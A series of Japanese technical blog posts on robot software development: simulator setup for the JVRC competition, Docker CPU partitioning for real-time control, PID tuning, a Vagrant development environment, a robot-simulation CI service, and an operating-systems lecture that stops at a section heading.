/usr/lib/choreonoid-1.5/rtc以下に各ファイルをコピーします。

$ sudo make install

これでRTM側のセットアップも完了ですのでシステムを起動してみましょう。O1タスクを起動するには以下のコマンドを入力します。

$ cd midjaxon-controller
$ ./setup.py O1

起動が進むとroscoreへの接続待ちの状態になりますので、別のターミナルを開いて以下のコマンドを入力します。

$ cd midjaxon-controller
$ ./launchrviz.sh

無事に立ち上げが終わると以下のような操作画面が出てくるはずです。

操作にはアナログスティック2本を搭載したゲームパッドが必要で、MIDでは以下の製品を使っています。

http://www2.elecom.co.jp/peripheral/gamepad/jc-u2912f/

同型でなくても似た形の製品であれば同様に使えるはずです。Linuxで認識されるデバイス名はセットアップスクリプト（setup.py）にハードコードされていますので、MIDの環境と違う場合は当該箇所を書き換えてください。ゲームパッドを接続したらアナログモードにするのを忘れないでください（私はよく忘れます）。アナログスティック二本で左右のクローラーの前後、人差し指のボタン4個でフリッパーの上下が制御できます。

アームの操作などはsetup.py起動後に出るipythonのプロンプトでコマンド入力します。コマンドの一部を紹介すると、「leftcontrol()」は左のアームの逆運動学ベースの制御、「leftgrasp(0.3)」は左の手を閉じる、「headyaw(math.pi/2)」は真左を見る、「goactual()」は初期姿勢に戻る、「recover()」はコケた時のリカバリ、などとなっています。ipythonはこれ以外にも通常のPythonコマンドも入れることができるので、公開練習中などはこのプロンプトを使ってライブコーディングの形で機能を増やしていっていました。

物理シミュレーション、カメラ、レーザレンジファインダのシミュレーションなどが入っているため、PCの要求スペックは高めです。MIDではGPUはNvidiaのGeForce GTX750Ti、CPUはAMDの8-coreプロセッサを使っています。

長くなってしまったのでプログラム本体の説明についてはまた次回書こうと思っていますが、主に使っているのはhrpsys-baseの各種モジュール（コンポーネント）、rtmros-commonパッケージ、rvizで、それに以下の独自部分を書き足しています。

setup.py : Pythonで書かれたrtm.pyとrospyを使った上位レベルの制御インターフェース (BSD licenseで公開します)。各種コンポーネントの起動と接続もここでやっています。

MidJaxonController.[cpp,h] : C++で書かれた下位レベルのリアルタイム制御モジュール (BSD licenseで公開します)。setup.pyからchoreonoidに内蔵されたrtcdを経由してロードされます。

PDcontrollerMIDJAXON.[cpp,h] : hrpsys-baseからフォーク（クローラー用の等速制御を追加）したPD制御モジュール (hrpsys-base license)。choreonoidからBodyRTCアイテムを経由してロードされます。

最後に、JVRCは大変たのしく有意義な大会でした。運営に関わった方々の尽力に感謝すると共に、次回開催を心より願っております。

OpenSCAD言語以外にもJavaScriptを使ってモデル開発することができます。

今回、OpenJSCADを使ってロボットシミュレーションモデルが作成できるようにVRMLモデル出力機能を実装したものを以下のURLで公開開始しました。

http://devrt.tk/openjscad/

キャタピラらしきモデルを作成中の図

VRMLへのエクスポートは以下のボタンから

Choreonoidに読み込んだ図(モデルの寸法が大きすぎた、、、)

勢いでジャパンバーチャルロボティクスチャレンジ(https://jvrc.org/)に申し込んでしまい、今頃いそいそとモデルを作っているわけです。

この教材を使って今回は画像処理を使った位置姿勢推定について解説します。

ipython notebookを使って実際に手を動かしながら学べる解説になっていますので、ぜひ遊んでみてください。

では、以下のURLへ飛んでください。 http://devrt.tk/note/github/devrt/world-robot-picking/blob/master/noteboooks/object-segmentation-ja.ipynb

今回は「Docker」の内部で使われているLinux軽量コンテナ技術を使って簡易的なパーティショニングを実現します。

DockerはWebの世界で極めて高い注目を集めている強力なコンテナ構築環境です。知能ロボットなど複雑なソフトウェアの組み合わせからなるリアルタイムシステム構築でもその強力な機能が使える可能性を示すことができればと思います。

リアルタイムというと「とにかく処理を速くする」というイメージがあるかもしれませんが、ロボットにおけるリアルタイムとは「処理を決められた時間に始めて決められた時間までに確実に終わらせること」を指します。例えば、自動走行車における操舵やブレーキは時間に遅れてしまうと事故を招きます、これはリアルタイムです。一方で、ビットコインのマイニングのような処理は非常に高速な計算ではありますが、時間についての要求は甘いのでリアルタイムではありません（同じコインを争って見つけようとしている場合はリアルタイムになりえますが）。

リアルタイムシステムを考える場合、ソフトウェアをその処理に必要なCPUパワーこみで考える必要があります。ソフトウェア開発においては

モジュール＝アルゴリズム＋データ構造（＝プログラム）

ですが、リアルタイムシステムにおいては

モジュール＝プログラム＋プロセッシングパワー

と考えてシステムを設計していく必要があるのです。

知能ロボットを開発していると、開発の過程で機能を高度化させようとしてソフトウェアモジュールを足したところ、リアルタイム性が崩れてしまい、システム全体としてうまく動作しなくなってしまうということが良く起ります。

そのような時に浮かぶのが「プログラム＋それを実行するのに必要なプロセッシングパワー」を組でシステムに追加できるようにしてしまえば理想的にシステム拡張できるのではないか、というアイディアです。

安西先生、山崎先生のASPIRE http://ci.nii.ac.jp/naid/110002873424

油田先生らの機能分散アーキテクチャ https://www.jstage.jst.go.jp/article/jrsj1983/14/2/14_2_238/_article/-char/ja/

などは、この理想を追い求めた代表的な研究です。

このブログの筆者もこの理想を追い求めた過去があります（3番目の著者）。 http://ci.nii.ac.jp/naid/110002775061

とはいえ、現実的に考えると複数独立したプロセッサを同一システムに組み込むのであれば、最初からマルチコアプロセッサを使ってしまった方が周辺回路を単一化できるぶん有利です。また、ロボットの電気回路はモータ制御の大電流のスイッチングからくるノイズで不安定になりがちなので、弱電系を分散させて通信でつなぐより制御系から離れた場所で一ヶ所にまとめてしまった方がより安定して動作させることができるという利点もあります。

この背景から同じプロセッサ上で複数ソフトウェアを仲良くリアルタイム動作させようと皆試みるわけなのですが、UNIX系OSに元々備わっているnice値の調整だけではなかなか思うように調整できず苦労するわけです。

このような状況で便利に使えるのがパーティショニング機能です。パーティショニングではマルチコアプロセッサを相互に独立したプロセッサとして扱い、各プロセッサ上で動くプロセスの分離や保護を行ってくれます。

組み込み系の本格的なパーティショニング機能付きOSにはTOPPERS/PARKがあるのですが、無料版では残念ながら動作する環境が極めて限られています。 https://www.toppers.jp/park.html

今回Linuxで汎用的に動作するDockerを使ってパーティショニングを実現してみます。 Dockerを使ったパーティショニングについて説明する前にDockerの元の機能について紹介します。

Dockerは分類から言うと仮想化ソフトウェアではあるのですが、とても「薄い」仮想化を行うのが特徴です。DockerはホストOSとしてLinuxを使うのですが、ゲストOSでもそのLinuxをそのまま使います。Linuxをそのまま使うためゲスト側ではLinux系のOSしか動作しないのですが、Ubuntu, Debian, CentOS, Redhatの各バージョンを仮想化させて同時に動作させることができるのです。

上記の仮想化はLinuxのファイル入出力システムコールの設定を少し変更することで実現されています。各プロセスは同じLinuxカーネル上で動作するのですが、プロセスごとにファイルアクセスAPIを通して見えるファイルツリーが違うようにカーネル側から制御するのです。Linuxでセキュリティに使われるchrootという仕組みを知っている方は、その応用として理解するとわかりやすいでしょう。

この仕組を使うと以下のようなことができます。RTMの公開されているコンポーネントの中にOpenHRIというコンポーネント集があります。このブログの著者が前職で開発していたソフトウェアなのですが、バイナリパッケージがUbuntu 10.04以降更新されておらず、最近のUbuntuでは動作させることができません。

ここで、以下のようなDockerfile（Dockerの設定ファイル）を書きます。

1
2
3
4
5
6
7
8
9

FROM ubuntu:10.04

MAINTAINER Yosuke Matsusaka <yosuke.matsusaka@gmail.com>

RUN apt-get update
RUN apt-get install -y python-software-properties
RUN apt-add-repository ppa:openhri/ppa
RUN apt-get update
RUN apt-get install -y openhriaudio

その後、同じフォルダで以下のコマンドを入れると、Ubuntu 10.04 (Lucid)のイメージがDockerのインデックスサイトからダウンロードされ仮想イメージの構築が行われ、最新の14.04上であってもファイルツリーとしては10.04の環境上でOpenHRIのプロセスを立ち上げることができます。

1
2

$ docker build -t openhri-lucid .
$ docker run openhri-lucid [イメージ上で起動したいコマンド]

Dockerを使って起動されたプロセスにはファイルツリーだけでなく、Linux標準の仮想ネットワークブリッジ作成機能を使ってホストとは独立したネットワークが作成され接続されます。

各プロセスは厳密に言うとLinux上で動作するいちプロセスにしか過ぎないのですが、仮想ファイルツリーと仮想ネットワークインタフェースを持つため、仮想マシンを起動しているのと同等にホストから分離できるわけです。とは言え、実態はいちプロセスにすぎないのでコンピュータのリソース消費は通常のプロセスと同様に少なく、また通常のプロセスを立ち上げるのと同様に瞬時に起動します。

このような仮想化の方法は「軽量コンテナ」と呼ばれ、Web開発の分野では急速に広まりつつあります。軽くて使い回しが良い上にソフトの実行に必要な環境ごとサーバに送り込んで動作させることができるという一度使いはじめると手放せなくなる強力な環境です。

さて、いよいよ今回のメインのパーティショニングの説明に入ります。Dockerにはファイルやネットワークの仮想化を行うだけでなくLinuxのcgroups機能を使った強力なプロセス制御機能が備わっています。

まずは、以下のようなPythonスクリプトを通常の環境で実行してみます。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

#!/usr/bin/env python

import os

pid = os.fork()

if pid == 0:
    pid2 = os.fork()
    if pid2 == 0:
        pid3 = os.fork()
        if pid3 == 0:
            pid4 = os.fork()
            if pid4 == 0:
                print 'giving you heavy load'
            else:
                while True:
                    1
        else:
            while True:
                1
    else:
        while True:
            1
else:
    while True:
        1

このスクリプトはforkシステムコールを使って4つの重いプロセスを起動します。スクリプト起動後にhtopコマンドを使ってシステムの負荷を見てみると当然のように以下のような天井に張り付いた状態になります。

このスクリプトをDockerイメージの中に押し込むために以下のようなDockerfileを書きます。

1
2
3
4
5
6
7
8
9

FROM ubuntu:14.04

MAINTAINER Yosuke Matsusaka <yosuke.matsusaka@gmail.com>

RUN apt-get update
RUN apt-get install -y python
ADD heavy-load.py /heavy-load.py

CMD /heavy-load.py

Ubuntu 14.04では標準でDockerが用意されていますが、cgroups機能を使うためには最新のDockerが必要なため、以下のようにしてDocker社が配布している最新のバイナリをインストールします。

1
2
3
4

$ sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 36A1D7869245C8950F966E92D8576A8BA88D21E9
$ sudo sh -c "echo deb https://get.docker.io/ubuntu docker main > /etc/apt/sources.list.d/docker.list"
$ sudo apt-get update
$ sudo apt-get install lxc-docker

インストールができたら、まずはイメージをビルドします。

1

$ docker build -t heavy-load-partitioned .

では、最初にプロセスをCPU 0に閉じ込めてみましょう。

1

$ docker run --cpuset=0 heavy-load-partitioned

htopの出力から閉じ込めに成功していることが確認できます。空いているCPUはリアルタイム処理を行うための余力として残しておくことができるので先ほどに比べて安心です。

CPU 0と2を使って他を空けておきたい、というようなことも柔軟にできます。

1

$ docker run --cpuset=0,2 heavy-load-partitioned

使用CPUだけでなく使用メモリの制限を与えることもできます。タスク1をCPU 0を使って起動、タスク2をCPU 1を使って起動し、それぞれ200MBのメモリ制限を加えるには以下のようにします。

1
2

$ docker run --cpuset=0 -m 200m task1
$ docker run --cpuset=1 -m 200m task2

以上、Dockerで遊んでみましたが、パーティショニングの環境としてもかなり使いやすいことがわかったと思います。一般向けでも8コアなどというCPUが販売されるこの時代、マルチコアプロセッサを使った高度なロボット開発への応用の可能性を感じていただけたとすると幸いです。

おまけ

Raspberry Piファン向けにARMプロセッサで動作するDockerもあります。Raspberry PiはシングルコアCPUを使っているのでパーティショニングの恩恵が薄いのが残念なのですが、次のバージョンあたりでマルチコア化を期待できるかもしれません。 https://github.com/resin-io/lxc-docker-PKGBUILD

おまけ２

リアルタイム性の確保の観点からすると今回紹介したパーティショニングによるプロセスの負荷の制御だけでは不十分で、ディスクアクセスなどのリアルタイム性を阻害する（プリエンプションを妨害する)APIへの対処が行われた特別なLinuxカーネルを使う必要がありました。以前はlinux-rtというパッケージを使うのが定石だったのですが、標準カーネルに機能が取り込まれてしまったようです。ある水準のリアルタイム性確保が標準カーネルでできてしまうことになります。良い時代になったものです。 https://wiki.ubuntulinux.jp/UbuntuStudioTips/Setup/Kernels

逆運動学の解説にはどうしても数式が多く出てきてしまうのですが、ipython notebookを使って実際に手を動かしながら学べる解説になっていますので、ぜひ遊んでみてください。

では、以下のURLへ飛んでください。 http://devrt.tk/note/github/devrt/inverse-kinematics-primer/blob/master/notebooks/inverse-kinematics-primer-ja.ipynb

今回はPID制御とRTMによる開発の詳細について解説します。

「PID制御」とはロボットに限らず様々な制御分野で用いられる制御方式で以下の式によって表されます。

制御理論の教科書を読むとこの式を変換して、理論面での議論が展開されることもあるので面食らいますが、PID制御は元は非常に実用的な観点で作られた制御方法であり、理論的な解析よりもまず実用的な使い方を学習することが大切です。このブログでは実用面に絞って解説を進めます。

まずは上の式をざっと見てみましょう。$e(t)$は制御対象の状態$y(t)$と目標値$r(t)$とのズレです。このズレをゼロに近づける（ロボットを指定した姿勢に近づける）のが制御の目的です。$u(t)$が制御対象に加える出力なのですが、この式は$K_p, K_i, K_d$の３つの部分からなる式の和で表現されています。

最初の$K_p$の部分は「比例ゲイン」と呼ばれます。この式によって、「制御対象がプラス方向にズレていればマイナス方向に力をかける」、「マイナス方向にズレていればプラス方向に力をかける」、「大きくズレていれば大きな力をかける」、「小さくズレていれば小さな力をかける」ことができます。$K_p$は人が設定するパラメータで、このパラメータで「力加減」を調整します。

前回セットアップしたロボット制御シミュレーションを動かしながらパラメータ調整の方法を学習しましょう。

まずは前回のブログを参考にVagrantの環境を立ち上げてください:

1
2
3

$ cd vagrant-robotics-boilderplate
$ vagrant up
$ vagrant ssh

弊社設定済みのVagrant環境を使うと高速なネットワーク環境下であればシミュレーション環境をすぐに立ち上げることができますが、hrpsys-baseインストール済みのLinux環境が既にある場合は、その環境をそのまま使うこともできます。その場合には、以下のコマンドでwatchdogを追加でインストールしてください：

1

$ sudo pip install -U watchdog

今回のブログ用のレポジトリは以下のURLで公開しています：

https://github.com/devrt/learn-control-pid

レポジトリをチェックアウトしてwatchdogを起動します：

1
2
3
4

(以下Vagrantまたは実Linuxマシンログイン後のコマンド)
$ git clone https://github.com/devrt/learn-control-pid.git
$ cd learn-control-pid
$ ./run.sh

「run.sh」を起動すると小さな窓が現れてプロジェクト内のファイルの監視が始まります。ファイルが変更されると自動でコンパイルとシミュレータの起動が行われます。

エディタを起動して「PA10Controller.cpp」ファイルを編集します。

PID制御とパラメータ定義が行われているのは以下の部分です：

1
2
3
4
5
6
7
8
9

#define K_P 100.0
#define K_D -100.0
#define MaxTau 400.0
  for (size_t i = 0; i < m_qRef.data.length(); i++){
    double u = K_P * (m_qRef.data[i] - m_angles.data[i]) + K_D * m_vels.data[i];
    u = std::min( MaxTau, u);
    u = std::max(-MaxTau, u);
    m_torque.data[i] = u;
  }

今は$K_p$が小さな値になっているため、以下の動画のようにロボットが脱力した状態です。パラメータ部分を編集して係数を少しずつ大きくしてみましょう。

力を加えすぎると制御が発散します。下は$K_p$を大きくしすぎた例：

下は複数回の調整をした結果です。これぐらいが調整の限界でしょうか：

比例ゲインは目標からのズレに対して加える力加減のパラメータですが、上の例のように最適まで調整しても振動が残ってしまいます。

ここで役に立つのが$K_d$です。$K_d$はズレの時間微分に対する係数で「微分ゲイン」と呼ばれます。

動画をよく観察するとロボットの腕が上下して停止した瞬間に大きな振動が発生しています。係数$K_p$は目標値からのズレに比例して加える力を定義するのですが、ロボットのような制御対象の場合、腕には重量があるため慣性が発生します。慣性があるとズレがゼロになって力を抜いても、その位置から行きすぎてしまい振動が発生するのです。

これを防ぐためには、ズレがゼロに近づきかけた状態で、早めに力を抜いてあげる必要があります。「微分ゲイン」でこのような早めのブレーキを実現することができます。

「PA10Controller.cpp」ファイルを編集して$K_d$を大きくしてみましょう。

微分ゲインを大きくすると、目標位置付近での姿勢維持が弱くなるので比例ゲインも合わせて大きくします。両者を調整すると以下のような安定した制御になります：

今回はさほど気になりませんでしたが、重いロボットを使う場合、$K_p, K_d$の両者を調整しても自身の重さに負けて腕の位置が低い状態で維持されてしまうことがあります。そのような時に使うのが「積分ゲイン$K_i$」で、この係数の調整によってズレた姿勢が長時間継続するのを防ぐことができます。

また、今回は全ての軸に対して同じPID係数を適用しましたが、調整済みの動画をよくよく見ると、腕の左右の細かい振動が発生してしまっています。大きな慣性がかかる上下方向の制御と、それよりは軽い左右方向の制御では最適なPID係数が異なるのです。今回は手抜きしましたが、本当はロボットの各軸に対してPID係数を調整してあげる必要があります。

最後にRTMを使った開発についても説明したいと思います。今回、腕の上下動を実現しましたが、上下の動きを生成する部分は以下のように実装されています：

1
2
3
4
5
6

  if (count > 1000)
    m_qRef.data[1] = 0.8;
  else
    m_qRef.data[1] = 0.0;
  count++;
  if (count > 2000) count = 0;

次回以降、複雑な動作を生成するシミュレーションを紹介していこうと思うのですが、今回作成したPID制御プログラム部分は再利用する予定です。その際、コピペしないで使いまわせるのが理想です。

RTMでは「コンポーネント」という単位でソフトウェアを分割して開発することができます。今回の環境では「PA10コントローラ」と「シミュレータ」の二つのコンポーネントがつながった状態で動作しています：

ここで、PA10コントローラの「上下動を実現する部分」と「PID制御を実現する部分」を分割して以下のような構成にすることを考えてみます：

このような構成にすると、他の動作であってもPID制御部分は使い回すことができます：

RTM（ROSもそうですが）はこのようなコンポーネント作成と接続・再接続を容易にするライブラリを提供してくれます。具体的な方法は次回以降説明しますが、今回使ったプログラム全体を読んでみるとポート定義部分から何となく想像できるかもしれません。

次回はロボットにより複雑な動作をさせるために必要な「逆運動学」の概念について説明するとともに、RTMによる開発についてもより深めていきたいと思います。

今回導入するツールは、「Vagrant」と「watchdog」です。

ロボットソフトウェア開発をはじめるにあたって、まず大変なのは開発環境作りです。ROSを使う場合にはLinuxがインストールされた実マシンか仮想環境、RTMはWindowsへの対応も行われていますがインストール後の設定が煩雑で安定せずなかなかすぐに開発をはじめることができないのが現状です。「Vagrant(http://www.vagrantup.com)」はそのような開発環境の構築を劇的に楽にしてくれるツールです。

Vagrantには以下の機能があります：

• Linuxインストール済みの仮想ディスクイメージ（BOX形式）の自動ダウンロード機能

• 仮想化ソフトウェア（標準ではVirtualBox）を自動で操作してコマンド一つで仮想マシンを立ち上げる機能

• 立ち上げた仮想マシンに対してソフトウェアのインストールなどを自動で行う（プロビジョニングする）機能

Vagrantは各種OS（Windows, OSX, Linux）に対応しており、どのOS上でも同じ操作で同じ環境を即座に立ち上げることができます。

弊社ではRTM,ROSの両者の開発ができる設定済みVagrant環境を以下のレポジトリで公開しています。

https://github.com/devrt/vagrant-robotics-boilerplate

今回はこの環境を使ってロボットソフトウェア開発をはじめる方法を説明します。Vagrant環境を立ち上げるには以下の手順で作業を進めてください。

Windows, OSX, Linux共通の手順：

1. Vagrantをダウンロードしてインストールする： http://vagrantup.com/

2. VirtualBoxをダウンロードしてインストールする： http://virtualbox.org/

オペレーティングシステムごとで異なる手順：

• Windowsの場合はgitとsshをインストールする必要があります。両者が一度にインストールできるmsysgitパッケージを入れるのがおすすめです。 http://msysgit.github.io/

• OSXでは追加でgitをインストールする必要があります。Homebrewを導入済みの環境であれば、「brew install git」コマンドでインストールできます。

• Linuxでは「sudo apt-get install git」などとしてgitをインストールしてください。

次にターミナルを立ち上げて以下のコマンドを入力することでレポジトリをコピーします：

1

$ git clone https://github.com/devrt/vagrant-robotics-boilerplate.git

ターミナルで以下のコマンドを入れてVagrantを立ち上げます：

1
2

$ cd vagrant-robotics-boilderplate
$ vagrant up

「vagrant up」コマンドが入力されると以下の作業が自動で行われます：

1. Linux仮想イメージのダウンロード

2. ロボット関連ソフトウェアのインストール（プロビジョニング）

3. ロボットシミュレーションを高速で行うための3Dアクセラレーションの設定

初回起動時は仮想イメージのダウンロードやプロビジョニングに時間がかかりますが全て自動で行われるのでしばらく放っておいてください、次回以降は高速に起動します。

Vagrantには以下のコマンドがあります：

• 「vagrant up」仮想マシンの立ち上げ（初回のみプロビジョニングも行う）

• 「vagrant ssh」仮想マシンへのログイン

• 「vagrant halt」仮想マシンのシャットダウン

• 「vagrant destroy」仮想マシンの消去（データが消えるので注意してください）

しばらくおいておくと以下の画像のような環境が立ち上がると思います（立ち上がらない場合はコメント欄からフィードバックください）。

この環境上でロボットソフトウェア開発を行ってみましょう。

今回はRTMを使って開発を行いますが、ソフトウェア開発者から見るとRTMもROSも同じような機能を提供してくれます。両者ともOSはLinuxを使う（RTMはWindowsにも対応している）のですが、ソフトウェア部品同士が通信し合うための通信規格とライブラリを提供してくれます。両者とも多言語（Polyglot）に対応しており開発にC++, Python, Javaが使えますが、パフォーマンスの問題から特にロボットの制御を行う下位レイヤではC++で開発されることが多いです（Pythonなど他の言語で開発された上位レイヤとも自由に接続可能です）。

ただ、コンパイルを必要とするC++を使った開発では開発の高速性が失われることが多いのが問題です。今回、Webの開発で良く使われる「watchdog」というユーティリティを使って開発プロセスを高速化する工夫をしてみました。

レポジトリは以下のURLで公開しています：

https://github.com/yosuke/test-devrtbuild-pa10

このプロジェクトではPA10ロボットにシンプルなPIDコントローラを接続して制御の実験を行っています。以下の手順でプロジェクトを開始することができます。

Vagrantへのログインとレポジトリのチェックアウト：

1
2
3
4
5

$ cd vagrant-robotics-boilderplate
$ vagrant up
$ vagrant ssh
(以下Vagrantログイン後のコマンド)
$ git clone https://github.com/yosuke/test-devrtbuild-pa10.git

watchdogの起動：

1
2
3

(Vagrantログイン後のコマンド)
$ cd test-devrtbuild-pa10
$ ./run.sh

「run.sh」を起動すると小さな窓が現れてプロジェクト内のファイルの監視が始まります。ファイルが変更されると自動でコンパイルとシミュレータの起動が行われます。

ターミナル上でエディタを起動して「PA10Controller.cpp」ファイルを編集してみてください。エディタには「nano」や「vi」を使うのが手軽ですが高機能なemacsをapt-getコマンドを使ってインストールしても良いでしょう。

1

$ nano PA10Controller.cpp

エディタ上でファイルをセーブすると、以下の動画のような状態になるはずです（この動画ではファイルの編集にemacsを使っています）。

ファイル監視機能の設定は、tricks.ymlファイルの中に記述されおり以下のような内容です。

1
2
3
4
5
6
7
8

tricks:
- watchdog.tricks.ShellCommandTrick:
    patterns: ['*.cpp', '*.h']
    wait_for_process: true
    shell_command: 'make'
- watchdog.tricks.AutoRestartTrick:
    patterns: ['*.so', '*.xml']
    command: ['hrpsys-simulator', 'PA10Sample.xml']

好きな処理を付け加えることができるので、カスタマイズにも挑戦してみてください。

今回は開発の始め方までの内容で、RTMやROS自身の解説はできませんでしたが、また次回以降に解説を書きたいと思います。

今まで何度もあったブームの振り子が戻ってきただけだよ、という覚めた見方もあると思うのですが、クラウドの技術進化と価格競争で高度な人工知能アルゴリズムを実行するに十分な巨大な計算リソースを誰でも安価に利用できるようになったこと。また、よくできたロボットをとても安価な値段で利用できるようになりそうな背景を考えると、今回はこれまでのブームとは違いが出てきそうな予感もしています。いずれにせよ、この様な機会に技術開発に取り組んでいくのは非常に良いことでしょう。

ロボットと人工知能を組み合わせたシステムを開発するには、一つの問題があります。このブログの筆者自身、研究者時代も含めてかれこれ15年以上人工知能とロボットの世界に関わっているのですが、最終的にロボットの形に落とし込んでいくとはいえ、人工知能部分はソフトウェアであり、ソフトウェアにはバグが付きものであり、デバッグの過程でロボットが何度も壊れます。この様な状況を打開するために、今ではロボットのソフトウェア開発に、物理シミュレーションが多用されています。

OpenHRP(http://www.openrtp.jp/openhrp3/jp/)は産総研が開発した物理シミュレータで二足歩行ロボットやマニピュレーションの実験に良く使われています。gazebo(http://gazebosim.org/)は欧米の研究で良く使われている物理シミュレータです。両シミュレータともプラグイン機構があり、数種の物理シミュレーションコア(ODEなど)を差し替えて利用することができるのが特徴です。

多くのロボットソフトウェア開発では手元で物理シミュレータを動かしつつ、それに接続したソフトウェアを動作させデバッグを進めていき、ある程度動作が安定した時点で実ロボットに接続を切り替えます。現在ではRTMやROSなどのミドルウェア規格に準拠したソフトウェア開発が一般的になっており、ソフトウェア間の接続は容易に切り替えることができます。とはいえ、Web界隈のソフトウェア開発で使われるツールと比較するとその環境は非常に貧弱です。今回弊社ではCI(継続的インテグレーション)を実現するソフトウェアビルドサービスを作成し、公開開始しました。

サービスはLinux軽量コンテナとhrpsys-base(OpenHRPのコアアルゴリズムを利用したコマンドライン指向の物理シミュレーションフロントエンド)を組み合わせて構成されています。

サービスを利用するには、まずgithubレポジトリに「.devrt.yml」というYAML形式のテキストファイルを作成してください。「.devrt.yml」には以下の内容を記述します：

• before_install: ビルド＆インストール前に実行するコマンド
• install: ソフトウェアをビルドするためのコマンド
• simulation: シミュレーションの設定
  • project: OpenHRP形式のプロジェクトファイル
  • init: シミュレーション開始直前に実行するコマンド（テストしたいソフトウェアの初期化や相互接続をここでする）

各コマンドはLinux(厳密にはLinuxの下にぶら下がった軽量コンテナ上)のrootユーザとして実行されます。travis-ciなどを使ったことがある方には分かると思いますが、まったく同じ仕組みです。

以下は、.devrt.ymlファイルの例です。

1
2
3
4
5
6
7
8
9
10

before_install:
  - apt-get install -y libopencv-dev

install:
  - cd /work/control && cmake . && make && make install

simulation:
  - project: PA10Sample.xml
    init:
      - echo "here we start!"

完全なサンプルは以下のページを参照してください。

https://github.com/yosuke/test-devrtbuild-pa10

.devrt.ymlの作成とレポジトリへの登録が済んだら、以下のページからログインしてレポジトリをビルドサービスに登録してください。

http://devrt.tk/build

ビルド結果は以下のようなアニメーションgifとして、ブログなどにも貼り付けることができます。

「git submodule」を使って外部レポジトリも参照可能です。以下は、Tokyo Opensource Robotics Kyokaiさんで公開されているNextageモデルを参照した例。

ビルド間でシミュレーションの結果を比較する機能もあります。

http://devrt.tk/build/diff/539561c9bb566033b4042889...539563dcbb566033b404288a

Linux軽量コンテナを使っているため、各ビルドの実行は非常に高速です。公開レポジトリのビルドに関してはフリー(非公開レポジトリで利用したい方についてはお問い合わせください)ですので、お気軽にご利用ください。

最新ののぞみ号では窓側席の下に自由に使える電源ソケットがあったり、無線LANも飛んでいたりと、仕事をする上では非常に快適な環境で移動が苦になりません。

そんな新幹線も今年で開業50周年だそうです。長いと感じるか短いと感じるかは人それぞれだと思いますが、私は案外短いんだなと感じました。このような技術を作ったそんなに昔の人でもない先人たちの偉業を思うたびに頭が下がる今日このごろです。

さて、今回のブログではオペレーティンシステムの授業シリーズ第２回目ということで「オペレーティングシステムの基本構成」について書きたいと思います。授業では扱いきれないローレベルなシステムコールについてのおまけも最後についています。

導入

前回の授業では「オペレーティングシステムとは何か？」という議論をしました。

オペレーティングシステムとは、ソフトウェアを「応用（アプリケーション）ソフトウェア」と「基本ソフトウェア」に分解した後者の部分であり、

• アプリケーションソフトウェアとハードウェアの間に存在し
• アプリケーションソフトウェアとは共通化されているAPIによって区分される

部分でした。

80年代に起こったコンピュータ利用の一般化とアプリケーションソフトウェア産業の隆盛に伴い、様々なハードウェアを持ったコンピュータに広くアプリケーションソフトウェアを流通させるために導入され、普及したという背景についても紹介しました。

今日はそのオペレーティングシステムの誕生の歴史を追いながら、現代の一般的なオペレーティングシステムの持つ基本機能について紹介します。

初期のコンピュータ

まずはこの写真を見てください。

これはENIACと呼ばれる初期のコンピュータです。

現在では半導体で実現されている論理回路部分に真空管が使われているため非常に巨大ですね。

この写真は、ENIACの「プログラミング風景」なのですが、この時代のコンピュータは論理回路間の配線（写真の中に見える蜘蛛の巣のようなもの）を差し替えることによってプログラムしていました。現在「プログラム作業」というとコンピュータの前でキーボードを叩くイメージですが、当時はなかなか重労働だったのです。

余談ですが、この写真、男性と女性が写っており、一見、男性のほうがプログラマで女性が補助しているようにも見えますが、実はプログラマは女性の方で、その指示を受けて動いているのが男性です。ENIACは6人の女性プログラマによってプログラムされていたという記録が残っています。初期のプログラミング言語で広く使われた「COBOL」を設計開発したのも女性です。この業界、案外女性が強いのです。

プログラミングが現代のようなキーボードを叩く形に変化したのは、数学者のフォン・ノイマンが考案した「ノイマン型コンピュータ」以降です。ノイマン型コンピュータでは、コンピュータをメモリとCPUの2部分から構成し、CPUに「メモリから順次データを読みだしてそれを命令として実行せよ」という初期命令を与えます。このようにすることで、従来は配線として物理的に実現されていたプログラムをメモリ上の情報として格納することができます。このアイディアによってキーボードで入力した情報としてコンピュータをプログラミングすることが可能になったのです。「プログラムをメモリに格納する」ことが特徴であることからノイマン型コンピュータはストアド・プロシジャー方式とも呼ばれます。

ノイマン型コンピュータは、プログラムの実行のたびにメモリへの読み出しを行うため、メモリの高速性がコンピュータの処理速度に大きく影響することから、一般にCPUに高速にアクセスできる半導体メモリを組合せた構成が採られます。また、半導体メモリは電源を切ると消えてしまう揮発性があり、大きな容量を実現することが難しいことから、それを補うためのHDDなどの補助記憶装置を組み合わせる構成が用いられるようになりました。

オペレーティングシステムの誕生

高性能なコンピュータを実現する上でCPUの処理能力が重要なのはもちろんですが、ノイマン型コンピュータではメモリの性能も大きなポイントになります。

メモリにはプログラムと同時にそのプログラムが処理したデータが格納されます。複雑で高機能なプログラムを実行したり、大量のデータを保存するためには大きなメモリが必要です。プログラムの実行のたびにメモリの読み出しが行われるため、メモリの高速性もコンピュータの処理速度に大きく影響します。しかしながら、メモリの高速性と大容量化は一般にトレードオフの関係があり、高速で大容量のメモリは実現することはできません。

上記の問題を解決するのが「仮想メモリ」というオペレーティングシステムの仕組みです。仮想メモリではHDDなどの補助記憶装置を仮想的に半導体メモリの一部として使うことで、メモリの見かけ上の大容量化を実現します。

補助記憶装置には様々な種類があります、現在、一般に用いられているHDDもそうですし、CD-ROMも補助記憶装置の一種です。昔は、ビデオテープのような巻き取り型の磁気記憶装置も使われていました。オペレーティングシステムには、これらの記憶装置のハードウェアの差を意識することなく使えるように「ディスク管理」の機能も実装されています。

初期のコンピュータは、大学などの研究機関で使われていましたが、非常に高価なものでした。現在は各家庭に複数のコンピュータがあるのが当たり前ですが、当時は1研究機関に1台あるかないかという状況でした。そのような状況ではコンピュータを如何に効率的に稼働させるかという「プロセス管理」が重要になります。また、コンピュータを同時に使うことができる「マルチタスク」の技術も開発されました。これらの機能は現代のオペレーティングシステムにも利用のカタチをかえて（当時に比べたらはるかに贅沢な利用法を想定して）実装されています。

上記のようなコンピュータを便利で効率的に使うための各機能を最初に実装したのは、IBMがSystem/360というコンピュータのために開発したOS/360というソフトウェアだったと言われています。このソフトウェアはその名の通り、Operating Systemという名前の元祖にもなっています。

UNIX、POSIXとLinux

